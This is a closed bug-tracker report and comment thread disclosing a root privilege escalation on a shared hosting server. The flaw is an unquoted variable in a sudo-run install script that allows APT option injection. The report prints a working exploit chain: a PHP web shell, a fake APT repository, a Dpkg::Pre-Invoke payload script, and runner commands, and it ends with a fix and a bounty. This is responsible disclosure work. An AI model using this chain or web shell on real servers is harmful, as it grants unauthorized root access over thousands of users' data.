- Status Closed
-
Assigned To
cbay - Private
Opened by Anonymous Submitter - 09.07.2026
Last edited by cbay - 10.07.2026
FS#367 - Root Privilege Escalation via Sudo Option Injection
Root Privilege Escalation via Sudo Option Injection
Summary
Any shared hosting user can gain root access on the server by exploiting an unquoted variable in /alwaysdata/sbin/install_language_package. This script runs via sudo without a password. The attacker injects APT options through the language name parameter, causing apt-get to execute an arbitrary script as root before package installation.
The Flaw
Line 50 of /alwaysdata/sbin/install_language_package:
apt-get –yes install $PACKAGE
$PACKAGE is unquoted — bash splits it on spaces, and injected -o Dpkg::Pre-Invoke::=/tmp/evil.sh becomes an APT option that runs a script as root.
Impact
- Root on a shared server with 8,957 accounts
- Read/modify all other users' files, databases, emails
- Read server secrets (SSL keys, passwords, configs)
- Install persistent backdoors
Steps to Reproduce
1. Upload a PHP web shell to your ~/www/ (needed because SSH blocks sudo via NoNewPrivs):
<?php echo shell_exec($_GET['c']); ?>
2. Create a fake APT repo with a package whose Maintainer contains @alwaysdata mkdir -p /tmp/fakerepo/dists/stable/main/binary-amd64 /tmp/fakerepo/pool /tmp/fakerepo/lists/partial /tmp/fakedeb/DEBIAN /tmp/fakedeb2/DEBIAN
echo -e "Package: java\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <don: x" > /tmp/fakedeb/DEBIAN/control
dpkg-deb –build /tmp/fakedeb /tmp/fakerepo/pool/java_99.0_amd64.deb
echo -e "Package: 21\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <dev: x" > /tmp/fakedeb2/DEBIAN/control
dpkg-deb –build /tmp/fakedeb2 /tmp/fakerepo/pool/21_99.0_amd64.deb
cd /tmp/fakerepo && dpkg-scanpackages pool /dev/null > dists/stable/main/binar
cp dists/stable/main/binary-amd64/Packages lists/_tmp_fakerepo_dists_stable_main_binary-amd64_Packages
echo 'deb [trusted=yes] file:///tmp/fakerepo stable main' > sources.list
3. Create payload (filename must end with -21.0.8 — the resolved version gets appended):
echo '#!/bin/sh
id > /tmp/proof.txt' > /tmp/rk.sh-21.0.8
chmod +x /tmp/rk.sh-21.0.8
4. Run the exploit:
sudo /alwaysdata/sbin/install_language_package "java 21 -o Dir::Etc::sourcelist=/tmp/fakerepo/sources.list -o Dir::Etc::sourceparts=- -o Dir::State::Lists=/tmp/fakerepo/lists -o Dpkg::Pre-Invoke::=/tmp/rk.sh" "21"
5. Verify:
cat /tmp/proof.txt
Output:
uid=0(root) gid=0(root) groups=0(root)
Remediation
1. Quote $PACKAGE on line 50 — change apt-get –yes install $PACKAGE to apt-get –yes install "$PACKAGE" (also quote $LANGUAGE and $PACKAGE on lines 16, 33, 39)
2. Validate input — reject $LANGUAGE and $VERSION values containing anything outside [a-zA-Z0-9._]
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hi
This vulnerability has to be Fixed urgently, This vulnerability allows any free-tier shared hosting user to gain full root access on the server, compromising all 8,957 co-hosted accounts and their data. The fix is a one-line change (quoting $PACKAGE on line 50) and should be deployed to all servers immediately.
Thanks
Hello,
Here's what I get:
Kind regards,
Cyril
Hi,
I have attached the Video Proof Of Concept below and also following are the steps to reproduce:
Steps to Reproduce:
1. Create a free account and enable SSH access from Remote access → SSH/SFTP.
2. Upload a PHP web shell (needed because SSH blocks sudo via NoNewPrivs):
echo '<?php echo shell_exec($_GET["c"]); ?>' > ~/www/shell.php
3. Create setup script via SSH:
cat > ~/www/s.sh « 'SCRIPT'
#!/bin/bash
rm -rf /tmp/fr /tmp/fd /tmp/fd2 /tmp/proof.txt /tmp/rk.sh-21.0.8
mkdir -p /tmp/fr/dists/stable/main/binary-amd64 /tmp/fr/pool /tmp/fr/lists/partial /tmp/fd/DEBIAN /tmp/fd2/DEBIAN
printf 'Package: java\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev dev@alwaysdata.com\nDescription: x\n' > /tmp/fd/DEBIAN/control
chmod 755 /tmp/fd/DEBIAN
dpkg-deb –build /tmp/fd /tmp/fr/pool/java_99.0_amd64.deb
printf 'Package: 21\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev dev@alwaysdata.com\nDescription: x\n' > /tmp/fd2/DEBIAN/control
chmod 755 /tmp/fd2/DEBIAN
dpkg-deb –build /tmp/fd2 /tmp/fr/pool/21_99.0_amd64.deb
cd /tmp/fr && dpkg-scanpackages pool /dev/null > dists/stable/main/binary-amd64/Packages
cp dists/stable/main/binary-amd64/Packages lists/_tmp_fr_dists_stable_main_binary-amd64_Packages
echo 'deb [trusted=yes] file:///tmp/fr stable main' > sources.list
printf '#!/bin/sh\nid > /tmp/proof.txt\nhostname » /tmp/proof.txt\n' > /tmp/rk.sh-21.0.8
chmod +x /tmp/rk.sh-21.0.8
echo DONE
SCRIPT
4. Create exploit runner script via SSH:
cat > ~/www/r.sh « 'SCRIPT'
#!/bin/bash
sudo /alwaysdata/sbin/install_language_package "java 21 -o Dir::Etc::sourcelist=/tmp/fr/sources.list -o Dir::Etc::sourceparts=- -o Dir::State::Lists=/tmp/fr/lists -o Dpkg::Pre-Invoke::=/tmp/rk.sh" "21" 2>&1
echo "EXIT=$?"
cat /tmp/proof.txt 2>&1
SCRIPT
5. Run setup from browser:
https://[ACCOUNT].alwaysdata.net/shell.php?c=bash%20/home/[ACCOUNT]/www/s.sh
6. Run exploit from browser:
https://[ACCOUNT].alwaysdata.net/shell.php?c=bash%20/home/[ACCOUNT]/www/r.sh
Replace [ACCOUNT] with your account name in the two browser URLs (Steps 5 and 6). Everything else works as-is.
Note: The error on line 25 (unexpected operator) is expected and harmless — the script continues past it. If EXIT=4 appears, change java to php, 21 to 8.3, and the payload filename to rk.sh-8.3.31 (means the java package was already installed from a previous run).
Thanks
Thanks. Can you confirm that the bug is now fixed?
Hi,
The bug is fixed now.
Thanks
Thanks, can you open a support ticket to claim your bounty?